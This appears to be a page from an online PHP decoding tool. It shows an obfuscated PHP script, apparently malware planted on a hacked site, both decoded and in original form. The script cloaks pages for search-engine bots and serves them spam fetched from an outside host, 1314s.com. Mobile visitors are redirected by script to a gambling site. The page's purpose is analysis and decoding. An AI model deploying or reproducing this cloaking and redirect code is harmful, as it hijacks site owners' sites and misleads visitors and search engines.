Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto HceFn; EYfHJ: $NIkpY = isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\x..

Decoded Output download

<?php 
goto HceFn; EYfHJ: $NIkpY = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http"; goto aQ5Ah; NmTXv: function Zz7Li() { goto IFevU; XjygA: if (!(strpos($b2o7O, "Macintosh") !== false)) { goto Jk2Rk; } goto hyGqr; iZ6Z4: if (!(strpos($b2o7O, "google") !== false)) { goto dKiW_; } goto Dpq3S; fjbBH: return "moto"; goto FBx6d; O0NOf: if (!(strpos($b2o7O, "slurp") !== false)) { goto FuMEr; } goto mb8e7; BWcxe: Jk2Rk: goto Z2gvO; KAE0J: Qi9SC: goto O0NOf; Zj5Ca: FuMEr: goto wHQU_; IFevU: $b2o7O = strtolower($_SERVER["HTTP_USER_AGENT"]); goto iZ6Z4; wHQU_: if (!(strpos($b2o7O, "moto") !== false)) { goto LPLEt; } goto fjbBH; Hf5tv: return "MSNbot"; goto KAE0J; Thktj: dKiW_: goto tPhRJ; tPhRJ: if (!(strpos($b2o7O, "msnbot") !== false)) { goto Qi9SC; } goto Hf5tv; Z2gvO: return false; goto SXPoL; Dpq3S: return "Googlebot"; goto Thktj; FBx6d: LPLEt: goto XjygA; mb8e7: return "Yahoobot"; goto Zj5Ca; hyGqr: return "Macintosh"; goto BWcxe; SXPoL: } goto n59Aa; vCxJd: $UM32h = ktX22(); goto hGnSI; NEl9x: OUcBn: goto PjNut; s6l23: $RyDiM = file_get_contents("http://1314s.com/randomza/main.php?host_name={$vRWOg}&real={$f5DLI}&rand={$UM32h}", false, $FvIAl); goto g7uJN; B3cwb: $sV2Il = $UM32h; goto VzipJ; pVN82: $RRW6n = "/(nokia|android|iPad|iPhone|BlackBerry|X11)/i"; goto NmTXv; DGLOp: goto ZOJ2s; goto NEl9x; KKejD: $FvIAl = stream_context_create(array("http" => array("header" => "User-Agent: {$SgaRV}"))); goto s6l23; AWB_d: if (($SgaRV == '' || preg_match($RRW6n, $SgaRV)) && !strpos(strtolower($_SERVER["REQUEST_URI"]), "wap")) { goto OUcBn; } goto WKfxL; n59Aa: function Ktx22($TYAF2 = 6) { goto tFwn7; Q9Zfo: $uZilV .= $g_f7P[rand(0, strlen($g_f7P) - 1)]; goto ZEKst; PhosK: $oDd9m = 0; goto hGU64; ERKcf: return $uZilV; goto uTzhZ; FSAil: goto Hdgai; goto FQwIg; tFwn7: $g_f7P = "abcdefghijklmnopqrstuvwxyz"; goto KabGO; XpQpv: $oDd9m++; goto FSAil; WULa3: if (!($oDd9m < $TYAF2)) { goto Yb5YK; } goto Q9Zfo; KabGO: $uZilV = ''; goto PhosK; ZEKst: NNJWY: goto XpQpv; FQwIg: Yb5YK: goto ERKcf; hGU64: Hdgai: goto WULa3; uTzhZ: } goto vCxJd; uxam3: exit; goto Mdfai; JLLkM: exit; goto wkWsc; FazLd: exit; goto DGLOp; q2jru: $vRWOg = "{$NIkpY}://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto B3cwb; aQ5Ah: $hhr12 = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto q2jru; aZUWu: echo $RyDiM; goto FazLd; WKfxL: $RyDiM = file_get_contents("http://1314s.com/404.html"); goto aZUWu; hGnSI: $lAIIn = ZZ7li(); goto cgubI; Mdfai: oy9X0: goto AWB_d; VzipJ: $f5DLI = "{$NIkpY}://{$_SERVER["HTTP_HOST"]}"; goto KKejD; qjrIh: date_default_timezone_set("TH"); goto t9HXQ; t9HXQ: $X1n0t = "http://1314s.com/"; goto EYfHJ; PjNut: echo "<script>window.location.replace("https://betflix-88.com/");</script>"; goto JLLkM; cgubI: if (!$lAIIn) { goto oy9X0; } goto qjrIh; HceFn: $SgaRV = strtolower($_SERVER["HTTP_USER_AGENT"]); goto pVN82; g7uJN: echo $RyDiM; goto uxam3; wkWsc: ZOJ2s: 
 ?>

Did this file decode correctly?

Original Code

<?php
goto HceFn; EYfHJ: $NIkpY = isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\x48\x54\124\120\123"] === "\x6f\x6e" ? "\x68\x74\x74\x70\x73" : "\150\164\x74\x70"; goto aQ5Ah; NmTXv: function Zz7Li() { goto IFevU; XjygA: if (!(strpos($b2o7O, "\115\x61\x63\x69\156\x74\x6f\163\150") !== false)) { goto Jk2Rk; } goto hyGqr; iZ6Z4: if (!(strpos($b2o7O, "\x67\157\157\147\154\145") !== false)) { goto dKiW_; } goto Dpq3S; fjbBH: return "\155\x6f\164\x6f"; goto FBx6d; O0NOf: if (!(strpos($b2o7O, "\163\x6c\165\x72\160") !== false)) { goto FuMEr; } goto mb8e7; BWcxe: Jk2Rk: goto Z2gvO; KAE0J: Qi9SC: goto O0NOf; Zj5Ca: FuMEr: goto wHQU_; IFevU: $b2o7O = strtolower($_SERVER["\x48\124\124\x50\137\125\x53\x45\122\137\101\x47\105\x4e\124"]); goto iZ6Z4; wHQU_: if (!(strpos($b2o7O, "\x6d\157\x74\157") !== false)) { goto LPLEt; } goto fjbBH; Hf5tv: return "\115\x53\116\142\157\x74"; goto KAE0J; Thktj: dKiW_: goto tPhRJ; tPhRJ: if (!(strpos($b2o7O, "\155\x73\156\x62\x6f\164") !== false)) { goto Qi9SC; } goto Hf5tv; Z2gvO: return false; goto SXPoL; Dpq3S: return "\107\x6f\x6f\147\154\145\142\x6f\x74"; goto Thktj; FBx6d: LPLEt: goto XjygA; mb8e7: return "\131\x61\150\157\x6f\142\157\164"; goto Zj5Ca; hyGqr: return "\115\141\143\x69\156\x74\x6f\x73\x68"; goto BWcxe; SXPoL: } goto n59Aa; vCxJd: $UM32h = ktX22(); goto hGnSI; NEl9x: OUcBn: goto PjNut; s6l23: $RyDiM = file_get_contents("\150\x74\164\x70\72\57\x2f\61\63\x31\x34\163\x2e\x63\157\155\x2f\x72\x61\156\x64\157\155\x7a\x61\57\155\141\x69\x6e\x2e\x70\150\x70\77\x68\x6f\x73\164\137\156\141\x6d\x65\75{$vRWOg}\46\162\145\x61\154\x3d{$f5DLI}\x26\x72\x61\156\144\x3d{$UM32h}", false, $FvIAl); goto g7uJN; B3cwb: $sV2Il = $UM32h; goto VzipJ; pVN82: $RRW6n = "\x2f\x28\x6e\157\153\x69\141\x7c\x61\x6e\x64\x72\x6f\x69\144\174\x69\x50\x61\x64\x7c\x69\x50\x68\x6f\156\x65\x7c\x42\x6c\141\143\153\102\145\x72\162\x79\174\130\61\61\x29\x2f\x69"; goto NmTXv; DGLOp: goto ZOJ2s; goto NEl9x; KKejD: $FvIAl = stream_context_create(array("\150\x74\164\160" => array("\150\145\141\x64\145\162" => "\125\163\145\x72\55\x41\x67\x65\156\164\x3a\40{$SgaRV}"))); goto s6l23; AWB_d: if (($SgaRV == '' || preg_match($RRW6n, $SgaRV)) && !strpos(strtolower($_SERVER["\122\x45\x51\x55\105\123\124\137\x55\122\x49"]), "\x77\x61\x70")) { goto OUcBn; } goto WKfxL; n59Aa: function Ktx22($TYAF2 = 6) { goto tFwn7; Q9Zfo: $uZilV .= $g_f7P[rand(0, strlen($g_f7P) - 1)]; goto ZEKst; PhosK: $oDd9m = 0; goto hGU64; ERKcf: return $uZilV; goto uTzhZ; FSAil: goto Hdgai; goto FQwIg; tFwn7: $g_f7P = "\141\142\143\x64\145\146\147\x68\151\x6a\x6b\x6c\x6d\156\x6f\x70\161\162\x73\164\165\x76\167\170\171\x7a"; goto KabGO; XpQpv: $oDd9m++; goto FSAil; WULa3: if (!($oDd9m < $TYAF2)) { goto Yb5YK; } goto Q9Zfo; KabGO: $uZilV = ''; goto PhosK; ZEKst: NNJWY: goto XpQpv; FQwIg: Yb5YK: goto ERKcf; hGU64: Hdgai: goto WULa3; uTzhZ: } goto vCxJd; uxam3: exit; goto Mdfai; JLLkM: exit; goto wkWsc; FazLd: exit; goto DGLOp; q2jru: $vRWOg = "{$NIkpY}\72\57\57{$_SERVER["\110\x54\124\120\137\110\x4f\123\124"]}{$_SERVER["\122\x45\x51\125\x45\123\124\x5f\125\x52\111"]}"; goto B3cwb; aQ5Ah: $hhr12 = "\150\x74\164\160\72\x2f\x2f" . $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\124"] . $_SERVER["\120\110\120\137\123\x45\114\106"]; goto q2jru; aZUWu: echo $RyDiM; goto FazLd; WKfxL: $RyDiM = file_get_contents("\x68\x74\164\x70\72\x2f\x2f\x31\x33\61\64\163\56\143\x6f\x6d\x2f\x34\60\x34\x2e\x68\x74\x6d\x6c"); goto aZUWu; hGnSI: $lAIIn = ZZ7li(); goto cgubI; Mdfai: oy9X0: goto AWB_d; VzipJ: $f5DLI = "{$NIkpY}\x3a\57\x2f{$_SERVER["\x48\x54\124\120\137\x48\x4f\123\x54"]}"; goto KKejD; qjrIh: date_default_timezone_set("\x54\x48"); goto t9HXQ; t9HXQ: $X1n0t = "\x68\x74\x74\x70\x3a\57\x2f\x31\63\x31\x34\163\x2e\143\157\x6d\57"; goto EYfHJ; PjNut: echo "\x3c\x73\143\x72\151\x70\x74\76\167\151\x6e\x64\x6f\167\56\154\157\x63\x61\164\x69\157\156\56\x72\x65\x70\x6c\x61\x63\145\x28\x22\x68\164\164\x70\163\x3a\57\57\x62\x65\164\x66\154\x69\170\55\x38\70\56\143\x6f\155\57\42\x29\x3b\74\x2f\163\x63\x72\x69\160\164\76"; goto JLLkM; cgubI: if (!$lAIIn) { goto oy9X0; } goto qjrIh; HceFn: $SgaRV = strtolower($_SERVER["\110\x54\124\x50\x5f\x55\123\x45\x52\137\101\107\x45\x4e\x54"]); goto pVN82; g7uJN: echo $RyDiM; goto uxam3; wkWsc: ZOJ2s:

Function Calls

None

Variables

None

Stats

MD5 c499efef5442a50cbed27327e5bba1f9
Eval Count 0
Decode Time 60 ms